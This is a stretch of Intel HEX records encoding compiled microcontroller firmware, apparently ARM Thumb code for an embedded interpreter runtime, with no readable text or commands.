:100FD000A7FCA36B02009B680D99606B9847A36800 :100FE000E882002B00D0D4E0089811F080FC089033 :100FF0000378002B4FD00A3B0F2B47D80DA914F0D4 :1010000044F995220D9B9200934244D00AD80125C1 :10101000483A93420DD0824A08992000FFF798FF82 :1010200011B0F0BD7F4A934202D07F4A0325F0E71A :101030000025089811F05BFC1821089008A811F011 :101040006FFC089B07900693069B079A934224D156 :101050006379012B15D9A36B29005B68606B9847F6 :101060006379042B0DD10023E06A03950293C18AB2 :10107000626B0191009393680521D268006903F0C7 :1010800063FEA368002B00D083E0C9E70100674A34 :101090002000FFF75DFF0225CBE7069B08931B7836 :1010A000222B04D1069811F022FC0690CCE71F2BCE :1010B00001D05F4AB0E709A9069811F022FC037835 :1010C0000600432BF5D111F012FC099B9842F0D198 :1010D00009A9300011F015FC037807000A3B0F2B1B :1010E000E7D811F004FC099B06008342E1D00378A5 :1010F000472BDED111F0FBFB099B9842D9D10AA9FD :10110000380014F0C2F8300011F0F6FB9F210B906C :101110000BA811F005FC01000B9811F0DCFB9B22E1 :101120000A9B0600920093421BD1012804D10B9820 :1011300003780A3B0F2B01D93E4A6DE72669731CE1 :101140002361059B012B21D00DA914F09EF8A36B00 :101150000D9ADB683100606B9847002816D1364A3B :101160005AE7364A93421AD1012803D10B980378E3 :10117000032B01D0324A4FE7059B012B06D0666B4B :1011800011F089FB0100300012F07BFDA368002BF9 :1011900088D0200008990C3014F014FB40E7892215 :1011A0009200934222D1012803D90B980378032B94 :1011B00001D0244A30E7059B012BE7D00CA911F0A0 :1011C0005BFB01270B900B980378032B01D01E4A81 :1011D00022E70DA911F050FB01370B900D9A0C99E5 :1011E000606B12F055FDBE42EDD1CFE7059B012BA0 :1011F000CCD0032800D95CE70B9B18000D9311F0AD :1012000076FB0E9011F073FBA36B0F901F693200F9 :101210000DAB0A99606BB847B8E7C046615E030042 :10122000855E030091020000DA020000925E030076 :10123000BA5E0300DD5E0300F95E0300FF010000FB :10124000095F0300255F03004A5F0300F0B5170044 :101250000A0087B00493531E9A410D0006000499BA :101260003800059211F037FB2C1E039009D02B7823 :1012700000243A2B05D102002100306B13F019FB3A :101280002C00059B01970293019B049A93421DD168 :10129000002C3BD1039A059B944663441900306BA4 :1012A00013F0FBFA002D3ED1049B9F422CD0BC4290 :1012B0003CD1200011F020FB00220100300000F0A2 :1012C0003BF8380011F013FB0700EDE7019B1B789A :1012D0003A2B0CD1002C12D1059B306B5A1E039B6C :1012E000D218029BD21A190013F0E3FA019C01985C :1012F00011F0FDFA029B019001330293C4E70D4AFD :1013000001993000FFF724FE07B0F0BD002DCBD0CF :10131000AC4208D1200011F0EFFA002201003000A9 :1013200000F00AF8C0E700222900F8E7002239009F :10133000C4E7C046A65C0300F0B50B7817001A009E :101340000A3A85B004000D000F2A10D803A928001E :1013500013F09BFF03992000002F01D0022F03D12F :10136000FFF7D2FD05B0F0BDFFF71AFDFAE76A4AB4 :10137000192B00D8CBE01A3B2A2B00D182E005DCE8 :10138000062B08D0292B11D0644AC0E02B2B00D1AA :1013900094E0972BF8D1002F00D0B7E003A92800E4 :1013A00011F0AFFA0200039B00219BE002A9280084 :1013B00011F0A7FA0600022F03D001002000FFF76A :1013C00001FD300011F093FA0299060013F052FF6C :1013D0000028D9D13378A22B13D1300003A911F002 :1013E00090FA0600300011F082FA039A01909042C0 :1013F00007D2022F03D031002000FFF7E3FC019E4B :10140000F0E73378482B21D1022F06D1206B13F05F :10141000EAF8206B13F0A6F80EE0300011F06CFA39 :1014200001002000FFF7CEFC206B012FF2D113F05A :10143000AEF8206B13F07EF8300011F058FA0299E4 :1014400013F018FF002800D08CE79DE7492B9BD1B3 :10145000300011F051FA03A913F017FF012F07D143 :10146000206B13F08AF80399206B13F03BF8E3E745 :10147000022F02D1206B13F09FF80399206B13F019 :1014800064F8D9E703A9280011F03BFA0399060094 :1014900013F0F0FE002800D076E7002F36D135009B :1014A00003A9280011F02DFA060011F020FA0378A4 :1014B000A92B1BD100231A00310013E0002F25D1E6 :1014C00003A9280011F01DFA0399050013F0D2FEBC :1014D000021E02D03B003A0066E72B78A62BDFD035 :1014E000030029002000FFF7B1FE3BE7AA2B05D13E :1014F00003A911F006FA039B0200DDE7C12B00D11E :1015000042E711F0F4F9320003004DE7044A2900E4 :101510002000FFF71DFD25E7475C03005F5C03002B :101520007A5C0300F0B5170085B0040008000D00D8 :1015300011F0DDF93900060013F09CFE019000283F :101540001FD02379002B17D0E36A1E78002E13D109 :10155000F6212000FF31FFF723FC29002000FFF7D0 :1015600031FC330032000121206B13F0E0F9206BD5 :1015700013F017F805B0F0BD29002000FFF722FC9A :10158000F5E733786D2B1DD1290001222000FFF7EC :10159000D3FE300011F0B0F94378811C4E3BDBB232 :1015A00018260A2B01D8234AD65C2000FFF70AFC34 :1015B0003100206B13F0EAF8022229002000FFF727 :1015C000BBFED7E76E2B2ED1300003A911F099F99D :1015D00006000700039BBB421FD101992000FFF7C3 :1015E000F1FB206B12F0C9FF002229002000FFF759 :1015F000A3FE019BB342BDD0300011F078F9019BEE :101600000500834202D0206B12F0B7FF31000022A8 :101610002000FFF791FE2E00EBE7380011F067F98C :1016200001970700D6E731002000FFF7CBFB019AB6 :10163000C3E7C0463C5C0300F0B50B788DB00A3BB5 :101640000400019103920F2B00D9FFE0080011F074 :101650004EF90378432B00D0F8E0019811F047F9D8 :1016600009A911F04EF9037842780A3B1B02134393 :101670009B4A934200D0E9E011F039F90378050064 :10168000472B00D0E2E011F077F9002800D0DDE030 :10169000280011F02CF9099B984200D0D6E02800D0 :1016A00011F02AF99F210A900AA811F039F90123B3 :1016B0000A9D060028000B9311F019F907000A9003 :1016C000B04200D1B8E011F012F90A90B0420ED049 :1016D0000378032B00D0B9E00BA911F0CDF80B9BD8 :1016E0000A90002B00D1B1E0B04200D0AEE02B78E0 :1016F0004533DBB2022B00D8A8E03B784533DBB2A0 :10170000022B00D8A2E0099B1800059311F0EFF816 :10171000039A0290904201D1002302930B9B266909 :101720000493A36926830793E38B0693731C638357 :10173000A38BE383331D23613B780393032B03D0F7 :1017400039002000FFF73EFB29002000FFF73AFB9D :10175000F11C206B12F05CFFB11C206B12F01AFE22 :10176000206B12F00AFF002201992000FFF7E4FD30 :1017700005992000FFF726FB711C206B12F00AFE72 :101780000499206B12F03AFE1221206B12F0FEFF3A :10179000206BF11C12F0FEFD039B206B032B4ED03F :1017A00012F0F5FE206B12F007FF049B206B19214D :1017B000002B00DA1A21002512F0E8FFB21C0121EB :1017C000206B12F031FF079BA361069BE383029B12 :1017D000AB421BD0206B12F0E4FE039B032B02D024 :1017E000206B12F0DEFE02992000FFF7EBFA25696C :1017F000206B6B1C2361290012F00AFF039B206BF6 :10180000D91E4B1E9941013112F00AFD3100206BA7 :1018100012F0C0FD206B12F0C4FE039B032B02D01C :10182000206B12F0BEFE029B002B03D02900206B20 :1018300012F0B0FD0DB0F0BD2F002A4D57E712F0A9 :101840009CFE39002000FFF7BDFAAEE7A3692569C9 :101850000493E38B6E1C0293AB1C0593A38B6683EE :10186000E383214B01982B432383EB1C236111F06D :101870003EF801002000FFF7A5FA07000121206BC8 :1018800012F023FF3100206B12F084FDA91C206BA5 :1018900012F02EFF002201992000FFF74DFD3900C4 :1018A0002000FFF78FFA0700206B12F0B4FC00282D :1018B00003D13100206B12F0ABFEA91C206B12F09B :1018C00069FD206B12F020FF049BA361029BE38360 :1018D000039BBB42AAD039002000FFF773FAA5E7AB :1018E000A20200002D0F03000080FFFFF0B589B0B9 :1018F00005000591049200930191002904D09F21D5 :1019000005A811F00DF8019000231E001F00059C92 :1019100003930293019BA3421AD1002E0DD0029B88 :10192000002B00D079E0286B12F0D2FD039B002B36 :1019300000D077E0286B12F0CBFD049B286B002BC6 :1019400000D174E033003A00009912F0F9FF0AE088 :101950002378BB2B14D1BA3B1E4206D0374A210054 :101960002800FFF7F5FA09B0F0BD012320001E435F :1019700010F0C2FF0290200010F0B9FF0400C9E788 :10198000BC2B0BD1BA3B1E4201D02D4AE7E7022304 :1019900020001E4310F0B0FF0390ECE7BD2B2AD1CE :1019A000200010F0A9FF040010F0A1FF0378C12B64 :1019B0000BD128000622210013F072FD009B2000AD :1019C0000133009310F093FFD6E723780A3B0F2BE7 :1019D00001D91C4AC3E707A9200013F056FC0400F4 :1019E0000799286B12F053FD21002800FFF7EAF950 :1019F000013704008EE7002E01D0134AAFE7002F15 :101A000001D0124AABE721002800FFF7DBF9009B69 :101A10000400013300933E007CE702992800FFF7A1 :101A2000D1F983E703992800FFF7CCF985E7330064 :101A30003A00009912F07BFF95E7C046895F0300EA :101A4000A05F0300B85F0300D95F0300F45F0300E9 :101A5000F0B589B00400039103A83D2110F060FFA8 :101A60000027E36A02905E7D0398029B984215D19D :101A7000180010F041FF029B03901B780100320018 :101A800020001D2B59D113F0B6FC0500013F57D2A1 :101A900029002000FFF738FA09B0F0BD05A910F0C1 :101AA00030FF6821039003A810F03AFF06A9050053 :101AB000039813F0EAFB9623069AFF3301909A42AB :101AC00013D003992000FFF77DF9013703900398A5 :101AD000A84229D10599280013F0CCFB00280CD18D :101AE00029002000FFF76EF907E0019B9D4207D80F :101AF000174A00212000FFF72BFA059B0393B3E759 :101B0000019810F0F4FE8542F2D107A9019813F074 :101B1000BCFB079B0F4A934204D00F4A9342E7D184 :101B20000426EAE70126E8E707A913F0AEFB0799C8 :101B30000390206B12F0D6FCC9E713F0A6FEA4E7D1 :101B4000002301211A00206B12F0F1FE9EE7C0462F :101B50005F5D03001102000006020000F7B50A787D :101B60000E00130008215D3B8B43DBB20400002B09 :101B700002D101338371F7BD13005E3B8B43DBB2AF :101B8000002BF8D013000A3B0F2B30D95C2A26D14A :101B900001A9300010F0B5FE070010F0A8FE019B6F :101BA000834201D1002505E010F0A1FE019B050054 :101BB0008342F7D001A9380013F067FBA379002D09 :101BC00002D02A78002A14D1002BD4D1E38A002B2A :101BD000D1D01C4A31002000FFF7BAF9CBE7300022 :101BE00010F08AFE070010F082FE0500E2E73700E1 :101BF000D8E7002B1ED0A38A01339BB2A382012B0E :101C000009D1E18A206B002911D012F0E1FD0021F9 :101C1000206B12F0F7FD29002000FFF7D3F8206BAE :101C2000019912F034FC206B12F0F8FDA3E712F0DA :101C30004FFCECE7E38A29000133E3822000FFF741 :101C4000C1F898E77D5D0300F0B504000E0005695A :101C500087B002936B1C0393AB1C03612900006BDC :101C6000170012F00FFD200013F017FB31002000C9 :101C7000FFF7A8F8206B12F04DFD691C206B12F0E5 :101C8000C7FC2900206B12F085FB206B12F09CFE34 :101C90002669731C2361029B9F4218D1A38B206B82 :101CA000013BA38312F006FD206B12F092FE039914 :101CB000206B12F06FFB0C9B002B03D0190020004F :101CC000FFF780F83100206B12F064FB1BE0380056 :101CD00010F012FE002305932369050001930133E0 :101CE00023610378002B10D110F001FE10F0FFFDEE :101CF000029B984224D03C4A29002000FFF728F993 :101D0000A38B013BA38307B0F0BD07008B2B07D14A :101D100010F0F2FD070010F0EAFD05A913F0B5FA86 :101D2000206B12F02AFC39002000FFF74BF821212C :101D3000206B12F02BFD019A0021206B12F074FC35 :101D4000280010F0D4FD05990700002947D1206B29 :101D500012F027FC059D002D09D02569206B6B1C16 :101D60002361290012F09AFC200013F096FA390042 :101D70002000FFF727F8059B0700002B02D0206BFF :101D800012F0C8FC206B12F0EAFC059B002B19D066 :101D90000E21206BFDF7C6FD2900206B12F0FAFA28 :101DA0000E21206BFDF7BEFD05992000FFF7ACF872 :101DB00020000599FFF7BAF8A38B206B013BA383A2 :101DC00012F078FC3100206B12F022FC0199206B9C :101DD00012F0E0FA0121206B12F022FA5BE72000FA :101DE000FFF792F8B6E7C04616600300F0B587B07B :101DF000039143790400012B07D1C36A0D001B78BE :101E0000002B04D1194AFFF7A3F807B0F0BD6921F0 :101E100003A810F085FD02900398029B9842F4D02D :101E200005A90B2713F031FA059B0390019302AB30 :101E3000FF183A000199E06A10F02FFB3B7806008A :101E4000002B0DD0019A0100E06A10F051FB3378AD :101E5000074A002BE0D129002000FFF779F8DBE7E3 :101E60000378042BD8D0034AF5E7C046CA5D0300C7 :101E7000EF5D03000D5E0300F0B587B00391447978 :101E80000500012C09D1019103A8692110F048FD3A :101E900002900398029B984201D107B0F0BD05A9BA :101EA0000B2713F0F2F902AB059EFF1803903A00DE :101EB0003100E86A10F0F1FA3B78002B08D1037882 :101EC000012B05D0074A01992800FFF741F8E0E708 :101ED00004703100E86A10F002FB0028D9D00470C9 :101EE000D7E7C046AB5D030010B5084B428B04003A :101EF0009A4202D1064AFFF72BF8A28BE38B618B43 :101F0000D21A206BFDF734FD10BDC046FFFF000064 :101F1000475D030010B5084B028B04009A4202D1C2 :101F2000064AFFF715F8A28BE38B218BD21A206BA0 :101F3000FDF71EFD10BDC046FFFF0000325D03002F :101F4000F7B50B7804001A000A3A0E000F2A08D8D9 :101F500001A9300013F099F901992000FEF7E6FF7E :101F6000F7BD432B44D16946300010F0CAFC010094 :101F70002000FEF727FF03780500A22B10D101A94E :101F800010F0BFFC0500280010F0B1FC019B070019 :101F9000834205D029002000FEF714FF3D00F2E740 :101FA0002B78482B16D1280010F0A6FC0100200049 :101FB000FEF708FF0500206B12F01FFB00992800B8 :101FC00013F058F90028CBD1214A31002000FEF748 :101FD000BFFFC5E7492BF7D1280010F08DFC01A900 :101FE00013F053F901990500206B12F0EFFAE5E7C1 :101FF000442BE9D1080010F0BFFC0028E4D13000E8 :1020000010F07AFC060010F077FC050001002000BB :10201000FFF796FF280010F06AFC0378A92B9FD0E9 :10202000AA2B0ED101A910F06CFC019B0500834284 :1020300096D020002900FFF783FF280010F057FCFE :10204000F3E7C12BC0D001002000FFF779FF87E73D :10205000C05C0300F7B502260D00C16A0400097DCB :10206000314005D0344A29002000FEF771FFF7BD4A :102070000191297808000A380F281DD8280001A9E5 :1020800013F003F9A279E36A002A03D01A8B013214 :102090001A8302E0DA8A0132DA82012601990029E4 :1020A000E5D06B46DF1C3A00E06A10F0F6F93B78A9 :1020B000002B3CD1214AD6E71A32914204D12800A4 :1020C00010F01AFC01A9DBE71A33994223D1A37956 :1020D000002BC7D101272800A77110F04DFC032663 :1020E0000028DBD1280010F007FC0278E36A0A3AE6 :1020F0000F2A09D828001A7D17431F7510F0FCFB22 :1021000001A913F0C2F8C9E71A7D280017431F750B :1021100010F0F2FBF2E7280010F0EEFB01A913F03B :10212000B4F8E36A1A7D16431E750526B6E7022346 :10213000467003709BE7C0461E0F0300485E030015 :10214000C36A70B51B7804000D00072B04D00C4A3D :102150000021FEF7FDFE70BD1100280013F08AF883 :10216000002807D00E21206BFDF7DCFB206B12F05E :10217000F1FBF0E729002000FEF724FEF6E7C04659 :102180002E5E0300C36A70B51B7804000D00072B98 :1021900006D0022B04D0174A0021FEF7D9FE70BDED :1021A0001100280013F066F8061E07D00E21206BE0 :1021B000FDF7B8FB206B12F0E8FBF0E72B78C42B9F :1021C00012D1280010F098FB01002000FEF7FAFD64 :1021D0003100206B12F079FA206B0E21FDF7A2FB83 :1021E000206B12F0E1FBDAE729002000FEF7EAFDA0 :1021F000E0E7C04635600300F0B50D0085B004008F :102200001100280013F036F8071E05D00021206BBE :1022100012F0F8FA05B0F0BD2B784E2B0BD1206BE5 :10222000012112F0EFFA29002000FEF7CBFD206B10 :1022300012F0F4FAEEE7B32B61D1280010F05CFB4A :10224000050010F054FB02900378B62B4DD103A982 :1022500010F057FB039B0290984203D09D2102A8E7 :1022600010F05EFB2B784E2B20D103990298266B41 :1022700010F031FB411C300012F0C4FA290020009C :10228000FEF7A0FD206B12F0C9FA0127029E039B06 :102290009E4210D1002FBDD131000298246B10F066 :1022A0001AFB411C200012F0C4FAB3E729002000F9 :1022B000FEF788FDEAE73378310020000193FEF74E :1022C00081FD019B0600002F0BD04E2B05D00F4A3D :1022D00029002000FEF73CFE9CE7206B12F09EFADE :1022E000D5E74E2BD3D10A4AF2E72B7804224E2BA6 :1022F00000D005222900200013F0D2F88AE7290037 :102300002000FEF75FFD0121206BCCE7D85C0300C5 :10231000FB5C0300F0B504000D00002662711100A3 :10232000C56206612A0087B0006BFDF71FFA62796B :10233000012A01D1EE832E84AE683378542B0AD162 :10234000300010F0D9FA01002000FEF73BFD206BB1 :1023500012F000FB2AE02B78002B08D1310020007E :10236000FEF730FD0E21206BFDF7DCFAEFE7072BBF :1023700021D1300010F0BBFA63790500012B07D1A1 :1023800000230100A37140225F4B200012F0F8FFF0 :10239000280010F0ACFA10F0AAFA01002000FEF7B5 :1023A00011FD206B11F037FF0028DBD0206B11F0FE :1023B00005FF07B0F0BD022B17D1012A07D100237A :1023C0004732A3713100514B200012F0D9FF300089 :1023D00010F08DFA01002000FEF7F4FC2B7D5B0766 :1023E000B5D5206B12F0DDF8BCE7033B032B50D8CA :1023F000300010F07CFA05A910F083FA10F077FA9B :1024000067790390012F09D10B2202ABD218390052 :10241000E06A10F042F802230370EF822B78032B5E :1024200020D10021206B12F0E0F92B78062B27D168 :10243000206B12F04DF801212000FEF7B1FC206B5B :1024400012F046F8206B12F043F80023059A00932F :1024500003993300200013F0D7FC2B78062B00D013 :1024600075E77FE7042B04D10021206B12F0CAF935 :10247000DBE7052BD9D10021206B12F0DAF9D4E784 :1024800020000121FEF78CFC0121206B12F01DF9C8 :10249000DBE7012A07D1DE2105AAFF3128000FF072 :1024A000FCFF0223037005A9A86812F0EEFEF821D4 :1024B00020004900FEF774FCF0212000FF31FEF7F8 :1024C00023FDE989206B11F0E2FFFA212000490089 :1024D000FEF71AFDA86810F00AFA10F008FA0100D9 :1024E0002000FEF76FFCDE212800FF310FF0C5FF52 :1024F0000378022B00D135E7DE214288FF31206BC3 :1025000011F09CFE23E7C046295A02001D5A020022 :10251000F8B5164B0400A8331B681600002B24D115 :10252000056901226B1C03612B0013F0F3FBBE2134 :102530000700FF31206B11F0AEFE3100380012F0C1 :1025400099FE061E09D139002000FEF73BFC33003E :1025500032000121206B12F0EAF90121206B12F008 :1025600006FA2900206B11F015FFF8BD842E00201B :10257000F0B585B005000E000192FEF723FC03784C :102580000400A22B03D101A910F0BBF90400EB6AEF :102590001B78072B00D070E0337872780A3B1B025F :1025A0001343504A934268D12378472B65D12000CA :1025B00010F0E2F9002860D0DE212800FF31FEF79C :1025C000EFFB0121EA6A936A928C002A06D1464AFF :1025D00021002800FEF7BCFC05B0F0BD5878084289 :1025E00011D059682800FEF7DBFB0199200010F09C :1025F00072F902280ADC0023286B1A00022112F06B :1026000096F9200036E0013A0833DEE7200010F0AA :102610006EF90378492BEED1200010F068F910F024 :1026200066F90378472BE6D1200010F060F9070027 :1026300010F05DF90600380010F05EF903A912F001 :1026400024FE03990122286B11F058FF300010F08E :1026500093F90021884203D1300010F04DF90100B8 :10266000002301222800FFF741F9200010F03FF974 :1026700010F03DF910F03BF90400019BA342ABD0F0 :10268000200010F034F9019B0600834224D0237807 :10269000492B21D10378472B1ED1200010F02CF9B3 :1026A0000700300010F068F90024A04203D1300088 :1026B00010F022F9040003A9380012F0E6FD002210 :1026C0000399286B11F01AFF280000230122210032 :1026D000FFF70CF93000CDE721002800FEF772FB70 :1026E000CAE7C046C70200001A5D0300F0B5070044 :1026F0009BB015000291382200210CA81E0016F094 :1027000066FF029B0BAC0B937B6838682362012346 :102710005B421193267110F0EAF810F0BCF8606289 :1027200080000FF052FC0022A062009500253B685B :102730001100200012F0BBFD11F02AFD2B000390C8 :1027400020630495626A0792954202D2A268002A29 :1027500027D0002B43D1059301339C46079B059A54 :10276000934202D00D9A002A3CD00499039811F0AC :1027700014FD0025149A0D9B0292954200D320E18E :10278000002B00D1DCE0169B0EA8996813F01AF814 :10279000169B0E9A0293DB890B990D98EFF7ACFF0D :1027A00012E1A16AAA005658002E13D03269002AFD :1027B00010D114F086FC737D3061012231002000BD :1027C000042B09D1FEF7E0FB2369049A9A4200D258 :1027D000049301230135B5E7FFF79CFDF4E70023DF :1027E0001D00AFE70599159B8900CB58002B33D00E :1027F0006046998C0291197D014215D00299481EBC :10280000411C11D002259C6AC10061184C782C42F1 :1028100026D0002A08D00D0050681468069041CDDB :1028200041C2069A0C604A600021DE249983FF347D :10283000029A91421BDB0021029A914236DB5E68CC :10284000002E09D00021B28C09920A000998814219 :102850003CDB0020824268D1059B013305937DE774 :10286000002A02D1012C00D10A000138C8E7986A79 :10287000CA0082181878012804D15068A0420DD1EE :102880000131D5E71578012808D9002D06D1604619 :10289000107065465078284203D1F1E7107802287D :1028A000F7D1988B451C9D835080E9E7986ACA0050 :1028B00082181078032807D164465078204203D14B :1028C000988B5080013098830131B5E7B06ACD0014 :1028D0004019089000780338012816D8002411E028 :1028E0009D6AE000281805780690042D09D1089803 :1028F00045682800069D6D68A84202D1069842806E :102900000132013402988442EADB01319EE79C6A7D :10291000C10061180C78042C03D165464C782C4218 :1029200002D04C88A4184C80013002998142EEDC20 :10293000D98A92B25118D982998B52189A838BE70F :10294000159B0293029AAB009C58002C1DD0637D0E :10295000042B1CD1189B0293002B04D104991398CB :1029600011F05DFB1890002317932C4B03222100DC :102970000BA81993FEF708FB0D9B0293002B04D1C3 :10298000042221000BA8FEF7FFFA0135F2E6039BB3 :10299000022221000BA81793FFF7BCFC0D9B0293AA :1029A000002BF2D1032221000BA8FFF7B3FC0D9BF3 :1029B0000293002BE9D1042221000BA8FFF7AAFC07 :1029C000E3E7002B00D0DEE6039811F0EEFB189849 :1029D000002801D011F03AFB002438000FF0D6FF98 :1029E000159B1B681D69149B159802939C4207D385 :1029F0000FF008FB0D9900290AD00800F4F750FDEC :102A0000A3001858002801D00FF02EFD0134EAE78A :102A10000A00280014F061FB1BB0F0BDB0C5020035 :102A2000044B88600B60044B08004B600023CB60B4 :102A30007047C04684DC0200B962020070B50E0027 :102A400011490400002510F002FA7368AB420AD85D :102A5000012B03D10D49200010F0F9F90C49200099 :102A600010F0F5F970BD002D03D00A49200010F0D8 :102A7000EEF93300A9000833012259582000F9F774 :102A8000D5FE0135E1E7C046311A03004E60030070 :102A9000BD420300C807030070B50D0001281FD018 :102AA000002803D0022807D0002070BD4B680E48D4 :102AB000002BFAD10D48F8E701230D4C6A685E1C23 :102AC000013B9A4203D8012064002043EDE7B300A4 :102AD000E9580220EDF74CFE401024183300EDE7D2 :102AE0004B685B001843E0E7B4AD0200ACAD0200F8 :102AF00064D1020070B506000D000C48002E0FD006 :102B0000B41CA40020000FF04EFA094B466003608D :102B1000002D05D002000023083C0832A34200D15A :102B200070BDE958D1500433F8E7C04664D10200C3 :102B30006CD10200F0B5070085B00E0014001D280E :102B400003D90025280005B0F0BD01238340314D95 :102B50001D4044D1304A13421FD1F822920513423E :102B6000EFD02000F9F74AFE2C4B426A9A4205D07A :102B700020002B4910F042FB041E0CD02300310032 :102B8000626808330092083172683800FDF77AFFF6 :102B9000244D0028D6D1244DD4E72000F9F72EFE8D :102BA0001F49F6F72DF80028CBD07368626829001A :102BB0009818FFF79FFF07003100736808379A00E5 :102BC00005000831380016F0E6FC210070686368E3 :102BD000800038189A00083116F0DDFCB2E703A92E :102BE0001000F9F72DFF051EACD003980F4D0028FB :102BF000A8DD736800215843FFF77CFF05002B0018 :102C00003000083300930830039B7268042112F0EF :102C100088FA97E78000100020000400212A0100B4 :102C20006CD10200B4AD0200ACAD020064D1020070 :102C300030B5040085B0042A2DD1032540680D402D :102C40001FD1164B0A689A421BD101AAFDF7AAFEB2 :102C5000002802D11248EEF707FD019B02982900D7 :102C6000C01AFFF747FF050021006B6808319A0082 :102C7000019B08309C00091916F08DFC280005B056 :102C800030BD0A00002301002068F9F775FF02300B :102C900080000559F2E70025F0E7C04644BC020079 :102CA0004D0E0300F0B50C001100002285B01E008F :102CB000009201232000EFF741FB184D002C1ED09D :102CC0003568AB0703D1164B2A689A4217D01020FB :102CD0000FF069F9002104003068EDF7B1FE00251E :102CE000042603900398EDF70DFF071E0AD1280074 :102CF0002100FFF7FFFE050020000FF083F92800F8 :102D000005B0F0BDAE4205D8F10020000FF069F922 :102D100004007600AB001F510135E3E764D10200E7 :102D20006CD102000048704716FCFFFF0048704756 :102D300016FCFFFF82B007B591B2049205930529F6 :102D400009D01B2902D104A801F04EFE002003B0D7 :102D500008BC02B0184704AB5B88032BF6D106A968 :102D60000822684616F017FC0349049A059B086878 :102D700004F0B6FCEAE7C0466C2A00200022044BAF :102D80005A60044A08321A60034A13607047C0460A :102D90002802002004D20200A82B002000B58BB02E :102DA00000F0E6FC684613F0B0FA054BD968091A42 :102DB000890800F099FC00F0F3FC0BB000BDC046A0 :102DC000842E002010B5010083880120A0229840A5 :102DD000044BD205D050CA88083114F06FFE024867 :102DE00010BDC0460C05000024DD0200EFB5070051 :102DF00008001500F988020000233868F9F7BCFEC6 :102E000003267043002D14D03F18042D14D1012344 :102E10007A7A01A952001A4301923A7A30009A4014 :102E20001A430292BA7A9A4013430393FFF762FE61 :102E30000500280004B0E0BD310001AA2800F9F720 :102E400087FE019B1868F9F7BDFD019B06005868D5 :102E5000F9F7B8FD019B05009868F9F7B3FDFF2E5F :102E600003D8FF2D01D8FF2802D90448EEF70AFA4B :102E70003D727E72B872024DDBE7C04669600300A6 :102E800024DD0200F7B51C00002300930233080084 :102E900011001A00EFF752FA206812F03DF947B21C :102EA0006068F9F78FFD041E02DC1048EEF7EAF9BE :102EB00003263000604308300FF075F80C4BA2B2C7 :102EC0000500878072430360C4800021083016F03B :102ED0007EFB3B00A022C133FF33D2059B009E50F6 :102EE0000123BB40034928005350FEBD506003003E :102EF00070D202000C050000032210B50400C38844 :102F000000215A43083016F062FB2000FFF75AFFF9 :102F1000004810BD24DD02000379044AD35C002B75 :102F200000D183790248DB00C0187047E12D0020F2 :102F3000ACD2020010B50400FFF7EEFF227903685F :102F400002490348EFF76CFBF4F7AAFA7860030034 :102F5000D0A60200002803D001210379014AD154F0 :102F60007047C046E12D002010B5FFF7D5FF034B99 :102F70004068C01A431E9841C0B210BD352F0100F1 :102F800070B506000C00FFF7C7FF0C4D2B0028336F :102F9000984204D12A001032002394420BD000231F :102FA000A04208D0436830009847641B3379044A34 :102FB000E410D4540123180070BDC046ACD2020006 :102FC000E12D0020F0B50E00496885B0050017001E :102FD000002901D0002A05D13100280013F0D1FAD0 :102FE00005B0F0BD0F321309C918019313F038FA78 :102FF0000F22A968B3687468174000D11037019A8E :10300000234812190092121852008A1820180292AE :10301000400094461022181821000023D71B0029D5 :1030200022D1FB401A48029A84466400141B238074 :10303000019B5F007F426344B81C20185A0016F0C1 :10304000C6FAE419009B002B03D05B00E35A002B67 :1030500019D00121009B6B603378DB07DA0F2B78E6 :103060008B4313432B70BBE70288013913431A00CB :103070000393FA4063461A800222039B52421B04C8 :1030800094448018CBE7009B013B0093DAE7C046ED :10309000FFFFFF7FF0B54B681500526889B006004E :1030A0000C00934201D22C000D00012122786368AC :1030B0000A4201D12A781140C918300013F0D0F922 :1030C000B36822780193A368170002936368297894 :1030D0009C46AB684F400393012318001F408B436D :1030E0006146904302000693019B04936B685B1A50 :1030F0000793002918D163465900019B5918002FE6 :1031000002D001230B800231019813F01FF9012135 :10311000706022782B7853403278DB078A43DB0FCC :103120001343337009B0F0BD029B13481B8801396B :103130001B189B180593079B5B18994219D3039B97 :10314000039A1B8802321B180392069A9B18059A51 :103150005A4092B21B0CD7190693049A059B17800C :103160001A0C049B3F0C02330493029B023302931C :10317000BFE7014BE9E7C046FFFF0000F0B50600DE :1031800095B0079353680D00591C0592019313F0F5 :1031900067F9059B00215B68B0685A1C52000193D7 :1031A00016F015FA00237360059B28005B68591C14 :1031B000019313F055F90599280013F0E2F9079BE4 :1031C0006F685B680393BB4236D8AB680293079B7A :1031D0009B680493B3680893039BBB422ED3049A65 :1031E0003900029813F07FF9002823D10123089AAF :1031F000686013807360059B1A78079B1B785A40A0 :1032000001231A4214D03278134333706B68002BB9 :103210000ED0012111A8494213F0D2F911AA3100B0 :10322000300013F0CEFB079A2900280013F0C9FBE9 :1032300015B0F0BD002801DA0023DBE7824A039BCA :103240009B185B009C460022049B634406931B88EA :1032500001921AB2002A63DA0022029B7C001A5300 :103260007B1C10270A936B60029BA01C01991B1802 :103270000993791A029B0B9109998B4256D3069BAD :10328000019A1B8893400993039B012B0AD91022B2 :10329000049B01996344023B1B88521AD340099A4C :1032A0001A430992029B039A1C190A9B9B1A664AAD :1032B00073609B18089A5B00D3180C936346023323 :1032C0000F936B680D930D9A039B934239D31300B0 :1032D0005D4A102194460024029A63445B00D3188F :1032E000019A891A029A9A4200D8A0E07368002BCA :1032F00007D0554A08999A185200525A002A00D10C :103300009FE06B68002B00D175E74F4A02999A182D :103310005200525A002A00D06DE7013B6B60F0E783 :10332000019A5B0001329BB292B291E71988019F2A :103330000800B84002431A800B9A0233D1408AB287 :103340009AE72088A31E1B8800041843099907F0F8 :10335000A3FA00220F9B0690E31A0E931800049B19 :103360000B920A93844212D823889A4237D3D31AF5 :103370005A42190C9BB222805A1E9341CA18002A45 :103380002FD004990E9B8C4600210F0044E00B9B2C :1033900001991F0C0A9B1B888B401F436B460B97A0 :1033A000998D069B59430388994202D25F1A97422E :1033B00010D8D21A8A18130C9C4693B251425A1E46 :1033C000934163441A0089B20A9B018002330230A0 :1033D0000A93C7E79B1A591A89B20022F4E79A1A8E :1033E00022800C9B069A023B5A800C930D9B023C58 :1033F000013B6B6065E7380C0A906046019F0088CE :10340000B8400A9F074318884118B8B241180220F3 :1034100019808444090C02339C42ECD82388591843 :10342000069B2180013B090C521A0693A7E71A88D4 :10343000019F100038418A402043188094B2023B1B :1034400050E7013B736051E7FFFFFF7F436870B5B2 :103450005A00002384680A4DA218944206D30278C9 :10346000D20700D55B4201200B6070BD023AAB422F :1034700003D816881B043343EFE70020F5E7C04666 